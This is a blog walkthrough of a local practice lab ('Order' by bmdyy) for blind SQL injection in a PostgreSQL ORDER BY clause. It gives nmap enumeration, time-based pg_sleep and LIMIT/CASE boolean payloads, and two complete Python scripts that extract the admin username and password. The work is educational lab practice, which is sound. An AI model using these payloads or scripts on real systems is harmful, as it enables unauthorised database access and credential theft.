Home bmdyy - Order
Post
Cancel

bmdyy - Order

Oder is a small app written in Python (Flask) and PostgreSQL to practice blind SQLi in the ORDER BY clause.

Comes with a dockerfile, so it is easy to set up locally to practice yourself.

Github Order Page

Diagram

graph TD
    A[Enumeration] -->|Nmap| B(Port 5000)
    B --> |Order| C[app.py]
    C --> |Order Param SQLInjection| D[ /horses] 
    D --> E[Time-Based]
    D --> F[Order By]
    E --> G[Script Python]
    F --> G
    G --> H{Admin Pass}

General Information

  • Machine Name: Order
  • IP Add: 172.17.0.2
  • Machine OS: Linux
  • Open Ports: 5000
  • Programming Language: PostgreSQL

Enumeration

First step is to enumerate the box. For this we’ll use nmap

1
nmap -sV -sC -Pn 172.17.0.2

-sV - Services running on the ports

-sC - Run some standart scripts

-Pn - Consider the host alive

Port 5000

We try to open it on the browser

The introduction message we got is a hint about what we can do here

1
2
3
4
5
The page /horses has an SQL injection vulnerability in the ORDER BY clause. The goal of this challenge is to exploit this to dump the admin's credentials. You may check if you got the correct credentials by "logging in" at the bottom of the page.

All the tables which are present in the database this app uses are listed in the section below, as well as their columns.

To begin, press the Begin button. 

1
2
users: user_id SERIAL PRIMARY KEY, username VARCHAR(255) NOT NULL, password VARCHAR(255) NOT NULL
horses: horse_id SERIAL PRIMARY KEY, name VARCHAR(255) NOT NULL, birthdate DATE NOT NULL, description VARCHAR(255) NOT NULL

app.py

Looking at the source code of app.py we found that it’s possible vulnerable to SQLinjection on the order param

Let’s continue.

/horses

So, we access /horses and see the order clause on the page

Send it to burpsuite, to get the things easier to exploit

SQLInjection Discovery

We try to send just a quote with the id, and we get an error!

So, it’s possible vulnerable to SQLInjection

Time-Base SQLInjection

We tried some standard payloads. We get some of them from this cheatsheet

And we saw that the pg_sleep worked, so it’s vulnerable to time-based sqlinjection

It took three seconds then executed the command on the postgresql database

So, we mount our query based on this other post

1
SELECT CASE WHEN COUNT((SELECT password FROM users WHERE SUBSTR(password,1,1) SIMILAR TO '4'))<>0 THEN pg_sleep(5) ELSE '' END; -- -

And we discover that the first char of the password is 4

So we can now built our payload to extract the password, it’s going to take a good time because it’s time_based query. I needed to change to user_id = 1 because it was not getting the admin one, there are other user in the database, and we want only the admin one.

Let’s make a exploit to do this all stuff together

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
#!/usr/bin/python3

import argparse
import requests
import sys

'''Setting up something important'''
proxies = {"http": "http://127.0.0.1:8080", "https": "http://127.0.0.1:8080"}
r = requests.session()

'''Here come the Functions'''

def main():
    # Parse Arguments
    parser = argparse.ArgumentParser()
    parser.add_argument('-t', '--target', help='Target ip address or hostname', required=True)
    args = parser.parse_args()
    
    '''Here we call the functions'''
    
if __name__ == '__main__':
    main()

Here it is

time_based.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
#!/usr/bin/python3
# Author: 0x4rt3mis
# Exploit to extract username and password for admin user
# Time Based Blind SQLInjection
# Order - bmdyy

import argparse
import requests
import sys
import string

'''Setting up something important'''
proxies = {"http": "http://127.0.0.1:8080", "https": "http://127.0.0.1:8080"}
r = requests.session()

'''Here come the Functions'''
# Function to extract the hash for the username selected
def hashExtractTimeBased(rhost):
    global password
    url_true = "http://%s" %rhost + ":5000/horses?order=1;"
    headers = {"Content-Type": "application/x-www-form-urlencoded"}
    password = []
    list = string.digits
    limit_inf = 1
    limit_sup = 1
    iterator = 0
    print("The password for the user id 1 is: ")
    while(iterator < len(list)):
        for c in list[iterator]:
            payload = "SELECT+CASE+WHEN+COUNT((SELECT+password+FROM+users+WHERE+user_id=1+AND+SUBSTR(password," + str(limit_inf) + "," + str(limit_sup) + ")+SIMILAR+TO+'" + c +"'))<>0+THEN+pg_sleep(2)+ELSE+''+END%3b+--+-"
            url = url_true + payload
            res = requests.get(url, proxies=proxies)
            elapsed = res.elapsed.total_seconds()
            #print(elapsed)
            #print(c)
            # TRUE boolean message
            if elapsed > int(2):
                password.append(c)
                limit_inf = limit_inf + 1
                #limit_sup = limit_inf + 1
                sys.stdout.write(c)
                sys.stdout.flush()
                iterator = 0
            else:
                iterator = iterator + 1
                url = url_true
    password = ''.join(password)
    
# Function to extract username selected
def usernameExtractTimeBased(rhost):
    global password
    url_true = "http://%s" %rhost + ":5000/horses?order=1;"
    headers = {"Content-Type": "application/x-www-form-urlencoded"}
    password = []
    list = string.ascii_letters
    limit_inf = 1
    limit_sup = 1
    iterator = 0
    print("The username for the user id 1 is...")
    while(iterator < len(list)):
        for c in list[iterator]:
            payload = "SELECT+CASE+WHEN+COUNT((SELECT+username+FROM+users+WHERE+user_id=1+AND+SUBSTR(username," + str(limit_inf) + "," + str(limit_sup) + ")+SIMILAR+TO+'" + c +"'))<>0+THEN+pg_sleep(2)+ELSE+''+END%3b+--+-"
            url = url_true + payload
            res = requests.get(url, proxies=proxies)
            elapsed = res.elapsed.total_seconds()
            #print(elapsed)
            #print(c)
            # TRUE boolean message
            if elapsed > int(2):
                password.append(c)
                limit_inf = limit_inf + 1
                #limit_sup = limit_inf + 1
                sys.stdout.write(c)
                sys.stdout.flush()
                iterator = 0
            else:
                iterator = iterator + 1
                url = url_true
    password = ''.join(password)
    
def main():
    # Parse Arguments
    parser = argparse.ArgumentParser()
    parser.add_argument('-t', '--target', help='Target ip address or hostname', required=True)
    args = parser.parse_args()
    
    rhost = args.target

    '''Here we call the functions'''
    usernameExtractTimeBased(rhost)
    print()
    hashExtractTimeBased(rhost)
    print()
    
if __name__ == '__main__':
    main()

And now we try to login with this password

Done. We did by time based.

Order By SQLInjection

We can mount it in a order by query also.

We get a TRUE statement

And a FALSE statement

1
2
Content-Length: 1750 - FALSE
Content-Length: 1484 - TRUE

Now we build our query to bruteforce it

This is TRUE, because we already know that the user_id first password char is 4

1
4 LIMIT (CASE WHEN (SUBSTR((SELECT password FROM users WHERE user_id=1),1,1))='4' THEN 1 ELSE 2 END)

This is FALSE, because we already know that the user_id first password char is not 1

1
4 LIMIT (CASE WHEN (SUBSTR((SELECT password FROM users WHERE user_id=1),1,1))='1' THEN 1 ELSE 2 END)

I’ll use almost the same exploit I built earlier, just changing the payload I’ll use and the condition to be true or not

And here it is

order_by.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
#!/usr/bin/python3
# Author: 0x4rt3mis
# Exploit to extract username and password for admin user
# Order By SQLInjection
# Order - bmdyy

import argparse
import requests
import sys
import string

'''Setting up something important'''
proxies = {"http": "http://127.0.0.1:8080", "https": "http://127.0.0.1:8080"}
r = requests.session()

'''Here come the Functions'''
# Function to extract the hash for the username selected
def hashExtractTimeBased(rhost):
    global password
    url_true = "http://%s" %rhost + ":5000/horses?order=1"
    headers = {"Content-Type": "application/x-www-form-urlencoded"}
    password = []
    list = string.digits
    limit_inf = 1
    limit_sup = 1
    iterator = 0
    print("The password for the user id 1 is: ")
    while(iterator < len(list)):
        for c in list[iterator]:
            payload = "LIMIT+(CASE+WHEN+(SUBSTR((SELECT+password+FROM+users+WHERE+user_id=1)," + str(limit_inf) + "," + str(limit_sup) + "))='" + c + "'+THEN+1+ELSE+2+END)"
            url = url_true + payload
            res = requests.get(url, proxies=proxies)
            # TRUE boolean message
            if int(res.headers['Content-Length']) < int(1500):
                password.append(c)
                limit_inf = limit_inf + 1
                #limit_sup = limit_inf + 1
                sys.stdout.write(c)
                sys.stdout.flush()
                iterator = 0
            else:
                iterator = iterator + 1
                url = url_true
    password = ''.join(password)
    
# Function to extract username selected
def usernameExtractTimeBased(rhost):
    global password
    url_true = "http://%s" %rhost + ":5000/horses?order=1"
    headers = {"Content-Type": "application/x-www-form-urlencoded"}
    password = []
    list = string.ascii_letters
    limit_inf = 1
    limit_sup = 1
    iterator = 0
    print("The username for the user id 1 is...")
    while(iterator < len(list)):
        for c in list[iterator]:
            payload = "LIMIT+(CASE+WHEN+(SUBSTR((SELECT+username+FROM+users+WHERE+user_id=1)," + str(limit_inf) + "," + str(limit_sup) + "))='" + c + "'+THEN+1+ELSE+2+END)"
            url = url_true + payload
            res = requests.get(url, proxies=proxies)
            elapsed = res.elapsed.total_seconds()
            # TRUE boolean message
            if int(res.headers['Content-Length']) < int(1500):
                password.append(c)
                limit_inf = limit_inf + 1
                #limit_sup = limit_inf + 1
                sys.stdout.write(c)
                sys.stdout.flush()
                iterator = 0
            else:
                iterator = iterator + 1
                url = url_true
    password = ''.join(password)
    
def main():
    # Parse Arguments
    parser = argparse.ArgumentParser()
    parser.add_argument('-t', '--target', help='Target ip address or hostname', required=True)
    args = parser.parse_args()
    
    rhost = args.target

    '''Here we call the functions'''
    usernameExtractTimeBased(rhost)
    print()
    hashExtractTimeBased(rhost)
    print()
    
if __name__ == '__main__':
    main()

Done!

This post is licensed under CC BY 4.0 by the author.